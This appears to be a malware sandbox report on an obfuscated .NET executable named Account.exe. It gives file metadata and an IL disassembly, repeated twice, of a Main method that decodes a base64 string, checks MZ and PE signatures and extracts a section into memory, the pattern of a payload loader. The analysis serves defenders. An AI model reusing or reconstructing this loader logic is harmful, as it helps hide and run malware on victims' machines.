Malicious
Malicious

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
File
Type
Portable Executable file
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Very high
1 malicious · 11 files
EXE218b227cc1b08d0cbd9efada97355b4d
Structure
Name Value
Module Name
Account.exe
Full Name
Account.exe
EntryPoint
System.Void Account.Program::Main(System.String[])
Scope Name
Account.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Account
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
46
Main Method
System.Void Account.Program::Main(System.String[])
Main IL Instruction Count
269
Main IL 
br IL_02FD: newobj System.Void System.Collections.Generic.List`1<System.Int32>::.ctor()
ldloc V_12
switch dnlib.DotNet.Emit.Instruction[]
br IL_02E9: newobj System.Void Account.UserProfile::.ctor()
ldsfld wDC5RNd3x9WSgNxBIqs wDC5RNd3x9WSgNxBIqs::AB6dxxyf5F
call System.String wDC5RNd3x9WSgNxBIqs::rwkErfFpZo(wDC5RNd3x9WSgNxBIqs)
stloc.s V_0
br IL_0028: nop
nop <null>
ldloc.s V_0
ldsfld y80QBrdUZFvxBfFCjta y80QBrdUZFvxBfFCjta::dBqd64OSNE
call System.Byte[] y80QBrdUZFvxBfFCjta::rwkErfFpZo(System.String,y80QBrdUZFvxBfFCjta)
stloc.s V_1
ldc.i4 4
ldsfld <Module>{9fc41ab8-df1d-4bc2-827f-9d6d925192ff} <Module>{9fc41ab8-df1d-4bc2-827f-9d6d925192ff}::m_f5c61b77cdc7490da2adf5bb443e0757
ldfld System.Int32 <Module>{9fc41ab8-df1d-4bc2-827f-9d6d925192ff}::m_aa875953e65e42ee8219c5e88d09154b
brtrue IL_005A: switch(IL_0224,IL_02A1,IL_0293,IL_0192,IL_0153,IL_0096,IL_0114,IL_01DB)
pop <null>
ldc.i4 1
br IL_005A: switch(IL_0224,IL_02A1,IL_0293,IL_0192,IL_0153,IL_0096,IL_0114,IL_01DB)
ldloc V_9
switch dnlib.DotNet.Emit.Instruction[]
br IL_0224: ldc.i4.0
br IL_0293: ldloc.s V_7
br IL_0100: ldloc.s V_5
ldc.i4.1 <null>
stloc.s V_6
br IL_0188: br IL_01F8
ldsfld BceIIFdWl0WtCtR0Zml BceIIFdWl0WtCtR0Zml::GNLdPe0rA2
call System.Text.Encoding BceIIFdWl0WtCtR0Zml::rwkErfFpZo(BceIIFdWl0WtCtR0Zml)
ldloc.s V_1
ldloc.s V_8
ldc.i4.8 <null>
ldsfld tRn2nvdwYKLs3eHpesN tRn2nvdwYKLs3eHpesN::a4cdqev3WP
call System.String tRn2nvdwYKLs3eHpesN::rwkErfFpZo(System.Object,System.Byte[],System.Int32,System.Int32,tRn2nvdwYKLs3eHpesN)
ldc.i4.1 <null>
newarr System.Char
ldsfld tOmsYidT7Xknh2ngJ12 tOmsYidT7Xknh2ngJ12::kecdMTg5xB
call System.String tOmsYidT7Xknh2ngJ12::rwkErfFpZo(System.Object,System.Char[],tOmsYidT7Xknh2ngJ12)
ldsfld OWUFUgdbupdgpg5SPVZ OWUFUgdbupdgpg5SPVZ::Cvsdmh71On
call System.String OWUFUgdbupdgpg5SPVZ::rwkErfFpZo(System.String,OWUFUgdbupdgpg5SPVZ)
ldsfld fRPxS2Ez2BvIEl04y6y fRPxS2Ez2BvIEl04y6y::nbtdVKjN79
call System.Text.Encoding fRPxS2Ez2BvIEl04y6y::rwkErfFpZo(fRPxS2Ez2BvIEl04y6y)
ldstr YTVlY2ZkN2RjODQzZTM5ZTA4ZmE4MWExMzQ2NTFkNjVhNjI2MDEwNDc0ZTJmNzQ3YzUxMDg3MWJjMTc1N2QyMg==
ldsfld U8g1ZtdcU5FtoGCSYLL U8g1ZtdcU5FtoGCSYLL::FC8dpy7jt8
call System.Byte[] U8g1ZtdcU5FtoGCSYLL::rwkErfFpZo(System.String,U8g1ZtdcU5FtoGCSYLL)
ldsfld d4UfPld2dEOtuJJ0olx d4UfPld2dEOtuJJ0olx::WZLdSm0yNc
call System.String d4UfPld2dEOtuJJ0olx::rwkErfFpZo(System.Object,System.Byte[],d4UfPld2dEOtuJJ0olx)
ldsfld zpigN2dDYwASYCsD551 zpigN2dDYwASYCsD551::cDWdldcuWW
call System.Boolean zpigN2dDYwASYCsD551::rwkErfFpZo(System.String,System.String,zpigN2dDYwASYCsD551)
brfalse IL_012E: ldloc.s V_7
br IL_020C: ldloc.s V_1
ldloc.s V_5
ldloc.s V_7
ldc.i4.s 40
mul <null>
add <null>
stloc.s V_8
ldc.i4 5
br IL_005A: switch(IL_0224,IL_02A1,IL_0293,IL_0192,IL_0153,IL_0096,IL_0114,IL_01DB)
ldloc.s V_1
ldc.i4.s 60
ldsfld LhWyksdJAXYYEZL74mP LhWyksdJAXYYEZL74mP::DC4dKU2EcK
call System.Int32 LhWyksdJAXYYEZL74mP::rwkErfFpZo(System.Byte[],System.Int32,LhWyksdJAXYYEZL74mP)
stloc.s V_2
ldc.i4 7
br IL_005A: switch(IL_0224,IL_02A1,IL_0293,IL_0192,IL_0153,IL_0096,IL_0114,IL_01DB)
ldloc.s V_7
ldc.i4.1 <null>
add <null>
stloc.s V_7
ldc.i4 2
ldsfld <Module>{9fc41ab8-df1d-4bc2-827f-9d6d925192ff} <Module>{9fc41ab8-df1d-4bc2-827f-9d6d925192ff}::m_f5c61b77cdc7490da2adf5bb443e0757
ldfld System.Int32 <Module>{9fc41ab8-df1d-4bc2-827f-9d6d925192ff}::m_7cfcde3029a44bad996f03def7f64ef9
brfalse IL_005A: switch(IL_0224,IL_02A1,IL_0293,IL_0192,IL_0153,IL_0096,IL_0114,IL_01DB)
pop <null>
ldc.i4 2
br IL_005A: switch(IL_0224,IL_02A1,IL_0293,IL_0192,IL_0153,IL_0096,IL_0114,IL_01DB)
ldloc.s V_1
ldc.i4.0 <null>
ldsfld qoxjOAdftZElgmZ6c1U qoxjOAdftZElgmZ6c1U::T9CdY7cegL
call System.UInt16 qoxjOAdftZElgmZ6c1U::rwkErfFpZo(System.Byte[],System.Int32,qoxjOAdftZElgmZ6c1U)
ldc.i4 23117
beq IL_0114: ldloc.s V_1
br IL_022C: leave IL_02E8
leave IL_02E8: ret
ldc.i4 3
br IL_005A: switch(IL_0224,IL_02A1,IL_0293,IL_0192,IL_0153,IL_0096,IL_0114,IL_01DB)
leave IL_02E8: ret
br IL_02B9: leave IL_02E9
br IL_01F8: ldloc.s V_6
br IL_012E: ldloc.s V_7
ldloc.s V_1
ldloc.s V_2
ldc.i4.6 <null>
add <null>
ldsfld qoxjOAdftZElgmZ6c1U qoxjOAdftZElgmZ6c1U::T9CdY7cegL
call System.UInt16 qoxjOAdftZElgmZ6c1U::rwkErfFpZo(System.Byte[],System.Int32,qoxjOAdftZElgmZ6c1U)
stloc.s V_3
ldc.i4 1
ldsfld <Module>{9fc41ab8-df1d-4bc2-827f-9d6d925192ff} <Module>{9fc41ab8-df1d-4bc2-827f-9d6d925192ff}::m_f5c61b77cdc7490da2adf5bb443e0757
ldfld System.Int32 <Module>{9fc41ab8-df1d-4bc2-827f-9d6d925192ff}::m_cef6620614b84578af9f6266eae2a866
brfalse IL_005A: switch(IL_0224,IL_02A1,IL_0293,IL_0192,IL_0153,IL_0096,IL_0114,IL_01DB)
pop <null>
ldc.i4 0
br IL_005A: switch(IL_0224,IL_02A1,IL_0293,IL_0192,IL_0153,IL_0096,IL_0114,IL_01DB)
ldloc.s V_1
ldloc.s V_8
ldc.i4.s 16
add <null>
ldsfld G15c6vdsQ1cZqMs7Sgs G15c6vdsQ1cZqMs7Sgs::KFqdCoWfoQ
call System.UInt32 G15c6vdsQ1cZqMs7Sgs::rwkErfFpZo(System.Byte[],System.Int32,G15c6vdsQ1cZqMs7Sgs)
stloc.s V_10
br IL_0259: ldloc.s V_10
ldloc.s V_1
ldloc.s V_2
ldsfld G15c6vdsQ1cZqMs7Sgs G15c6vdsQ1cZqMs7Sgs::KFqdCoWfoQ
call System.UInt32 G15c6vdsQ1cZqMs7Sgs::rwkErfFpZo(System.Byte[],System.Int32,G15c6vdsQ1cZqMs7Sgs)
ldc.i4 17744
beq IL_0192: ldloc.s V_1
br IL_016F: leave IL_02E8
ldloc.s V_6
brtrue IL_02B9: leave IL_02E9
br IL_017E: leave IL_02E8
ldc.i4.0 <null>
stloc.s V_7
br IL_0084: br IL_0293
ldloc.s V_1
ldloc.s V_8
ldc.i4.s 20
add <null>
ldsfld G15c6vdsQ1cZqMs7Sgs G15c6vdsQ1cZqMs7Sgs::KFqdCoWfoQ
call System.UInt32 G15c6vdsQ1cZqMs7Sgs::rwkErfFpZo(System.Byte[],System.Int32,G15c6vdsQ1cZqMs7Sgs)
stloc.s V_11
br IL_01C3: ldloc.s V_1
ldc.i4.0 <null>
stloc.s V_6
br IL_0204: ldc.i4.0
leave IL_02E8: ret
ldc.i4 6
br IL_005A: switch(IL_0224,IL_02A1,IL_0293,IL_0192,IL_0153,IL_0096,IL_0114,IL_01DB)
ldloc.s V_1
ldloc.s V_11
conv.u8 <null>
ldsfld System.Byte[] Account.Program::sectionContent
ldc.i4.0 <null>
conv.i8 <null>
ldloc.s V_10
conv.u8 <null>
ldsfld iGB8jDdhGxshdpmm0jr iGB8jDdhGxshdpmm0jr::KwJd9PAbwc
call System.Void iGB8jDdhGxshdpmm0jr::rwkErfFpZo(System.Array,System.Int64,System.Array,System.Int64,System.Int64,iGB8jDdhGxshdpmm0jr)
br IL_008E: ldc.i4.1
ldloc.s V_10
newarr System.Byte
stsfld System.Byte[] Account.Program::sectionContent
br IL_023B: ldloc.s V_1
ldloc.s V_2
ldc.i4.s 24
add <null>
ldloc.s V_4
add <null>
stloc.s V_5
ldc.i4 0
ldsfld <Module>{9fc41ab8-df1d-4bc2-827f-9d6d925192ff} <Module>{9fc41ab8-df1d-4bc2-827f-9d6d925192ff}::m_f5c61b77cdc7490da2adf5bb443e0757
ldfld System.Int32 <Module>{9fc41ab8-df1d-4bc2-827f-9d6d925192ff}::m_9047eeadd1844a08a0e8bb9bb2f65f80
brtrue IL_005A: switch(IL_0224,IL_02A1,IL_0293,IL_0192,IL_0153,IL_0096,IL_0114,IL_01DB)
pop <null>
ldc.i4 0
br IL_005A: switch(IL_0224,IL_02A1,IL_0293,IL_0192,IL_0153,IL_0096,IL_0114,IL_01DB)
ldloc.s V_7
ldloc.s V_3
blt IL_0100: ldloc.s V_5
br IL_01F8: ldloc.s V_6
ldloc.s V_1
ldloc.s V_2
ldc.i4.s 20
add <null>
ldsfld qoxjOAdftZElgmZ6c1U qoxjOAdftZElgmZ6c1U::T9CdY7cegL
call System.UInt16 qoxjOAdftZElgmZ6c1U::rwkErfFpZo(System.Byte[],System.Int32,qoxjOAdftZElgmZ6c1U)
stloc.s V_4
br IL_026A: ldloc.s V_2
leave IL_02E9: newobj System.Void Account.UserProfile::.ctor()
pop <null>
br IL_02C4: leave IL_02E9
leave IL_02E9: newobj System.Void Account.UserProfile::.ctor()
ldc.i4 0
ldsfld <Module>{9fc41ab8-df1d-4bc2-827f-9d6d925192ff} <Module>{9fc41ab8-df1d-4bc2-827f-9d6d925192ff}::m_f5c61b77cdc7490da2adf5bb443e0757
ldfld System.Int32 <Module>{9fc41ab8-df1d-4bc2-827f-9d6d925192ff}::m_ea2326d653d84a728b16187e9771db61
brtrue IL_0009: switch(IL_02E9)
pop <null>
ldc.i4 0
br IL_0009: switch(IL_02E9)
ret <null>
newobj System.Void Account.UserProfile::.ctor()
ldsfld EWarXYdOrYT6nTLN7aS EWarXYdOrYT6nTLN7aS::UUPdrcVf8m
call System.Void EWarXYdOrYT6nTLN7aS::rwkErfFpZo(System.Object,EWarXYdOrYT6nTLN7aS)
br IL_02E8: ret
newobj System.Void System.Collections.Generic.List`1<System.Int32>::.ctor()
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
dup <null>
ldc.i4.2 <null>
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
dup <null>
ldc.i4.3 <null>
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
dup <null>
ldc.i4.4 <null>
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
dup <null>
ldc.i4.5 <null>
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
dup <null>
ldc.i4.6 <null>
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
dup <null>
ldc.i4.7 <null>
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
dup <null>
ldc.i4.8 <null>
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
dup <null>
ldc.i4.s 9
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
dup <null>
ldc.i4.s 10
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
dup <null>
ldc.i4.s 11
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
dup <null>
ldc.i4.s 12
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
dup <null>
ldc.i4.s 13
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
dup <null>
ldc.i4.s 14
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
dup <null>
ldc.i4.s 15
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
ldsfld System.Func`2<System.Int32,System.Int32> Account.Program/<>c::E08BHoHdi
dup <null>
brtrue IL_0394: call System.Collections.Generic.IEnumerable`1<System.Int32> System.Linq.Enumerable::Select<System.Int32,System.Int32>(System.Collections.Generic.IEnumerable`1<System.Int32>,System.Func`2<System.Int32,System.Int32>)
pop <null>
ldsfld Account.Program/<>c Account.Program/<>c::NARnBktLh
ldftn System.Int32 Account.Program/<>c::k9ZSDFYQu(System.Int32)
newobj System.Void System.Func`2<System.Int32,System.Int32>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Func`2<System.Int32,System.Int32> Account.Program/<>c::E08BHoHdi
call System.Collections.Generic.IEnumerable`1<System.Int32> System.Linq.Enumerable::Select<System.Int32,System.Int32>(System.Collections.Generic.IEnumerable`1<System.Int32>,System.Func`2<System.Int32,System.Int32>)
ldsfld System.Func`2<System.Int32,System.Boolean> Account.Program/<>c::ie9IsU8RQ
dup <null>
brtrue IL_03BB: call System.Collections.Generic.IEnumerable`1<System.Int32> System.Linq.Enumerable::Where<System.Int32>(System.Collections.Generic.IEnumerable`1<System.Int32>,System.Func`2<System.Int32,System.Boolean>)
pop <null>
ldsfld Account.Program/<>c Account.Program/<>c::NARnBktLh
ldftn System.Boolean Account.Program/<>c::OKmaBE4PM(System.Int32)
newobj System.Void System.Func`2<System.Int32,System.Boolean>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Func`2<System.Int32,System.Boolean> Account.Program/<>c::ie9IsU8RQ
call System.Collections.Generic.IEnumerable`1<System.Int32> System.Linq.Enumerable::Where<System.Int32>(System.Collections.Generic.IEnumerable`1<System.Int32>,System.Func`2<System.Int32,System.Boolean>)
call System.Int32[] System.Linq.Enumerable::ToArray<System.Int32>(System.Collections.Generic.IEnumerable`1<System.Int32>)
ldc.i4.0 <null>
ldelem.i4 <null>
ldsfld VnB5uXdBvrjQTnSVubE VnB5uXdBvrjQTnSVubE::CgodIyZDSu
call System.Void VnB5uXdBvrjQTnSVubE::rwkErfFpZo(System.Int32,VnB5uXdBvrjQTnSVubE)
br IL_0017: ldsfld wDC5RNd3x9WSgNxBIqs wDC5RNd3x9WSgNxBIqs::AB6dxxyf5F
Module Name
Account.exe
Full Name
Account.exe
EntryPoint
System.Void Account.Program::Main(System.String[])
Scope Name
Account.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Account
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
46
Main Method
System.Void Account.Program::Main(System.String[])
Main IL Instruction Count
269
Main IL 
br IL_02FD: newobj System.Void System.Collections.Generic.List`1<System.Int32>::.ctor()
ldloc V_12
switch dnlib.DotNet.Emit.Instruction[]
br IL_02E9: newobj System.Void Account.UserProfile::.ctor()
ldsfld wDC5RNd3x9WSgNxBIqs wDC5RNd3x9WSgNxBIqs::AB6dxxyf5F
call System.String wDC5RNd3x9WSgNxBIqs::rwkErfFpZo(wDC5RNd3x9WSgNxBIqs)
stloc.s V_0
br IL_0028: nop
nop <null>
ldloc.s V_0
ldsfld y80QBrdUZFvxBfFCjta y80QBrdUZFvxBfFCjta::dBqd64OSNE
call System.Byte[] y80QBrdUZFvxBfFCjta::rwkErfFpZo(System.String,y80QBrdUZFvxBfFCjta)
stloc.s V_1
ldc.i4 4
ldsfld <Module>{9fc41ab8-df1d-4bc2-827f-9d6d925192ff} <Module>{9fc41ab8-df1d-4bc2-827f-9d6d925192ff}::m_f5c61b77cdc7490da2adf5bb443e0757
ldfld System.Int32 <Module>{9fc41ab8-df1d-4bc2-827f-9d6d925192ff}::m_aa875953e65e42ee8219c5e88d09154b
brtrue IL_005A: switch(IL_0224,IL_02A1,IL_0293,IL_0192,IL_0153,IL_0096,IL_0114,IL_01DB)
pop <null>
ldc.i4 1
br IL_005A: switch(IL_0224,IL_02A1,IL_0293,IL_0192,IL_0153,IL_0096,IL_0114,IL_01DB)
ldloc V_9
switch dnlib.DotNet.Emit.Instruction[]
br IL_0224: ldc.i4.0
br IL_0293: ldloc.s V_7
br IL_0100: ldloc.s V_5
ldc.i4.1 <null>
stloc.s V_6
br IL_0188: br IL_01F8
ldsfld BceIIFdWl0WtCtR0Zml BceIIFdWl0WtCtR0Zml::GNLdPe0rA2
call System.Text.Encoding BceIIFdWl0WtCtR0Zml::rwkErfFpZo(BceIIFdWl0WtCtR0Zml)
ldloc.s V_1
ldloc.s V_8
ldc.i4.8 <null>
ldsfld tRn2nvdwYKLs3eHpesN tRn2nvdwYKLs3eHpesN::a4cdqev3WP
call System.String tRn2nvdwYKLs3eHpesN::rwkErfFpZo(System.Object,System.Byte[],System.Int32,System.Int32,tRn2nvdwYKLs3eHpesN)
ldc.i4.1 <null>
newarr System.Char
ldsfld tOmsYidT7Xknh2ngJ12 tOmsYidT7Xknh2ngJ12::kecdMTg5xB
call System.String tOmsYidT7Xknh2ngJ12::rwkErfFpZo(System.Object,System.Char[],tOmsYidT7Xknh2ngJ12)
ldsfld OWUFUgdbupdgpg5SPVZ OWUFUgdbupdgpg5SPVZ::Cvsdmh71On
call System.String OWUFUgdbupdgpg5SPVZ::rwkErfFpZo(System.String,OWUFUgdbupdgpg5SPVZ)
ldsfld fRPxS2Ez2BvIEl04y6y fRPxS2Ez2BvIEl04y6y::nbtdVKjN79
call System.Text.Encoding fRPxS2Ez2BvIEl04y6y::rwkErfFpZo(fRPxS2Ez2BvIEl04y6y)
ldstr YTVlY2ZkN2RjODQzZTM5ZTA4ZmE4MWExMzQ2NTFkNjVhNjI2MDEwNDc0ZTJmNzQ3YzUxMDg3MWJjMTc1N2QyMg==
ldsfld U8g1ZtdcU5FtoGCSYLL U8g1ZtdcU5FtoGCSYLL::FC8dpy7jt8
call System.Byte[] U8g1ZtdcU5FtoGCSYLL::rwkErfFpZo(System.String,U8g1ZtdcU5FtoGCSYLL)
ldsfld d4UfPld2dEOtuJJ0olx d4UfPld2dEOtuJJ0olx::WZLdSm0yNc
call System.String d4UfPld2dEOtuJJ0olx::rwkErfFpZo(System.Object,System.Byte[],d4UfPld2dEOtuJJ0olx)
ldsfld zpigN2dDYwASYCsD551 zpigN2dDYwASYCsD551::cDWdldcuWW
call System.Boolean zpigN2dDYwASYCsD551::rwkErfFpZo(System.String,System.String,zpigN2dDYwASYCsD551)
brfalse IL_012E: ldloc.s V_7
br IL_020C: ldloc.s V_1
ldloc.s V_5
ldloc.s V_7
ldc.i4.s 40
mul <null>
add <null>
stloc.s V_8
ldc.i4 5
br IL_005A: switch(IL_0224,IL_02A1,IL_0293,IL_0192,IL_0153,IL_0096,IL_0114,IL_01DB)
ldloc.s V_1
ldc.i4.s 60
ldsfld LhWyksdJAXYYEZL74mP LhWyksdJAXYYEZL74mP::DC4dKU2EcK
call System.Int32 LhWyksdJAXYYEZL74mP::rwkErfFpZo(System.Byte[],System.Int32,LhWyksdJAXYYEZL74mP)
stloc.s V_2
ldc.i4 7
br IL_005A: switch(IL_0224,IL_02A1,IL_0293,IL_0192,IL_0153,IL_0096,IL_0114,IL_01DB)
ldloc.s V_7
ldc.i4.1 <null>
add <null>
stloc.s V_7
ldc.i4 2
ldsfld <Module>{9fc41ab8-df1d-4bc2-827f-9d6d925192ff} <Module>{9fc41ab8-df1d-4bc2-827f-9d6d925192ff}::m_f5c61b77cdc7490da2adf5bb443e0757
ldfld System.Int32 <Module>{9fc41ab8-df1d-4bc2-827f-9d6d925192ff}::m_7cfcde3029a44bad996f03def7f64ef9
brfalse IL_005A: switch(IL_0224,IL_02A1,IL_0293,IL_0192,IL_0153,IL_0096,IL_0114,IL_01DB)
pop <null>
ldc.i4 2
br IL_005A: switch(IL_0224,IL_02A1,IL_0293,IL_0192,IL_0153,IL_0096,IL_0114,IL_01DB)
ldloc.s V_1
ldc.i4.0 <null>
ldsfld qoxjOAdftZElgmZ6c1U qoxjOAdftZElgmZ6c1U::T9CdY7cegL
call System.UInt16 qoxjOAdftZElgmZ6c1U::rwkErfFpZo(System.Byte[],System.Int32,qoxjOAdftZElgmZ6c1U)
ldc.i4 23117
beq IL_0114: ldloc.s V_1
br IL_022C: leave IL_02E8
leave IL_02E8: ret
ldc.i4 3
br IL_005A: switch(IL_0224,IL_02A1,IL_0293,IL_0192,IL_0153,IL_0096,IL_0114,IL_01DB)
leave IL_02E8: ret
br IL_02B9: leave IL_02E9
br IL_01F8: ldloc.s V_6
br IL_012E: ldloc.s V_7
ldloc.s V_1
ldloc.s V_2
ldc.i4.6 <null>
add <null>
ldsfld qoxjOAdftZElgmZ6c1U qoxjOAdftZElgmZ6c1U::T9CdY7cegL
call System.UInt16 qoxjOAdftZElgmZ6c1U::rwkErfFpZo(System.Byte[],System.Int32,qoxjOAdftZElgmZ6c1U)
stloc.s V_3
ldc.i4 1
ldsfld <Module>{9fc41ab8-df1d-4bc2-827f-9d6d925192ff} <Module>{9fc41ab8-df1d-4bc2-827f-9d6d925192ff}::m_f5c61b77cdc7490da2adf5bb443e0757
ldfld System.Int32 <Module>{9fc41ab8-df1d-4bc2-827f-9d6d925192ff}::m_cef6620614b84578af9f6266eae2a866
brfalse IL_005A: switch(IL_0224,IL_02A1,IL_0293,IL_0192,IL_0153,IL_0096,IL_0114,IL_01DB)
pop <null>
ldc.i4 0
br IL_005A: switch(IL_0224,IL_02A1,IL_0293,IL_0192,IL_0153,IL_0096,IL_0114,IL_01DB)
ldloc.s V_1
ldloc.s V_8
ldc.i4.s 16
add <null>
ldsfld G15c6vdsQ1cZqMs7Sgs G15c6vdsQ1cZqMs7Sgs::KFqdCoWfoQ
call System.UInt32 G15c6vdsQ1cZqMs7Sgs::rwkErfFpZo(System.Byte[],System.Int32,G15c6vdsQ1cZqMs7Sgs)
stloc.s V_10
br IL_0259: ldloc.s V_10
ldloc.s V_1
ldloc.s V_2
ldsfld G15c6vdsQ1cZqMs7Sgs G15c6vdsQ1cZqMs7Sgs::KFqdCoWfoQ
call System.UInt32 G15c6vdsQ1cZqMs7Sgs::rwkErfFpZo(System.Byte[],System.Int32,G15c6vdsQ1cZqMs7Sgs)
ldc.i4 17744
beq IL_0192: ldloc.s V_1
br IL_016F: leave IL_02E8
ldloc.s V_6
brtrue IL_02B9: leave IL_02E9
br IL_017E: leave IL_02E8
ldc.i4.0 <null>
stloc.s V_7
br IL_0084: br IL_0293
ldloc.s V_1
ldloc.s V_8
ldc.i4.s 20
add <null>
ldsfld G15c6vdsQ1cZqMs7Sgs G15c6vdsQ1cZqMs7Sgs::KFqdCoWfoQ
call System.UInt32 G15c6vdsQ1cZqMs7Sgs::rwkErfFpZo(System.Byte[],System.Int32,G15c6vdsQ1cZqMs7Sgs)
stloc.s V_11
br IL_01C3: ldloc.s V_1
ldc.i4.0 <null>
stloc.s V_6
br IL_0204: ldc.i4.0
leave IL_02E8: ret
ldc.i4 6
br IL_005A: switch(IL_0224,IL_02A1,IL_0293,IL_0192,IL_0153,IL_0096,IL_0114,IL_01DB)
ldloc.s V_1
ldloc.s V_11
conv.u8 <null>
ldsfld System.Byte[] Account.Program::sectionContent
ldc.i4.0 <null>
conv.i8 <null>
ldloc.s V_10
conv.u8 <null>
ldsfld iGB8jDdhGxshdpmm0jr iGB8jDdhGxshdpmm0jr::KwJd9PAbwc
call System.Void iGB8jDdhGxshdpmm0jr::rwkErfFpZo(System.Array,System.Int64,System.Array,System.Int64,System.Int64,iGB8jDdhGxshdpmm0jr)
br IL_008E: ldc.i4.1
ldloc.s V_10
newarr System.Byte
stsfld System.Byte[] Account.Program::sectionContent
br IL_023B: ldloc.s V_1
ldloc.s V_2
ldc.i4.s 24
add <null>
ldloc.s V_4
add <null>
stloc.s V_5
ldc.i4 0
ldsfld <Module>{9fc41ab8-df1d-4bc2-827f-9d6d925192ff} <Module>{9fc41ab8-df1d-4bc2-827f-9d6d925192ff}::m_f5c61b77cdc7490da2adf5bb443e0757
ldfld System.Int32 <Module>{9fc41ab8-df1d-4bc2-827f-9d6d925192ff}::m_9047eeadd1844a08a0e8bb9bb2f65f80
brtrue IL_005A: switch(IL_0224,IL_02A1,IL_0293,IL_0192,IL_0153,IL_0096,IL_0114,IL_01DB)
pop <null>
ldc.i4 0
br IL_005A: switch(IL_0224,IL_02A1,IL_0293,IL_0192,IL_0153,IL_0096,IL_0114,IL_01DB)
ldloc.s V_7
ldloc.s V_3
blt IL_0100: ldloc.s V_5
br IL_01F8: ldloc.s V_6
ldloc.s V_1
ldloc.s V_2
ldc.i4.s 20
add <null>
ldsfld qoxjOAdftZElgmZ6c1U qoxjOAdftZElgmZ6c1U::T9CdY7cegL
call System.UInt16 qoxjOAdftZElgmZ6c1U::rwkErfFpZo(System.Byte[],System.Int32,qoxjOAdftZElgmZ6c1U)
stloc.s V_4
br IL_026A: ldloc.s V_2
leave IL_02E9: newobj System.Void Account.UserProfile::.ctor()
pop <null>
br IL_02C4: leave IL_02E9
leave IL_02E9: newobj System.Void Account.UserProfile::.ctor()
ldc.i4 0
ldsfld <Module>{9fc41ab8-df1d-4bc2-827f-9d6d925192ff} <Module>{9fc41ab8-df1d-4bc2-827f-9d6d925192ff}::m_f5c61b77cdc7490da2adf5bb443e0757
ldfld System.Int32 <Module>{9fc41ab8-df1d-4bc2-827f-9d6d925192ff}::m_ea2326d653d84a728b16187e9771db61
brtrue IL_0009: switch(IL_02E9)
pop <null>
ldc.i4 0
br IL_0009: switch(IL_02E9)
ret <null>
newobj System.Void Account.UserProfile::.ctor()
ldsfld EWarXYdOrYT6nTLN7aS EWarXYdOrYT6nTLN7aS::UUPdrcVf8m
call System.Void EWarXYdOrYT6nTLN7aS::rwkErfFpZo(System.Object,EWarXYdOrYT6nTLN7aS)
br IL_02E8: ret
newobj System.Void System.Collections.Generic.List`1<System.Int32>::.ctor()
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
dup <null>
ldc.i4.2 <null>
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
dup <null>
ldc.i4.3 <null>
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
dup <null>
ldc.i4.4 <null>
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
dup <null>
ldc.i4.5 <null>
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
dup <null>
ldc.i4.6 <null>
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
dup <null>
ldc.i4.7 <null>
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
dup <null>
ldc.i4.8 <null>
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
dup <null>
ldc.i4.s 9
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
dup <null>
ldc.i4.s 10
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
dup <null>
ldc.i4.s 11
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
dup <null>
ldc.i4.s 12
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
dup <null>
ldc.i4.s 13
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
dup <null>
ldc.i4.s 14
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
dup <null>
ldc.i4.s 15
callvirt System.Void System.Collections.Generic.List`1<System.Int32>::Add(System.Int32)
ldsfld System.Func`2<System.Int32,System.Int32> Account.Program/<>c::E08BHoHdi
dup <null>
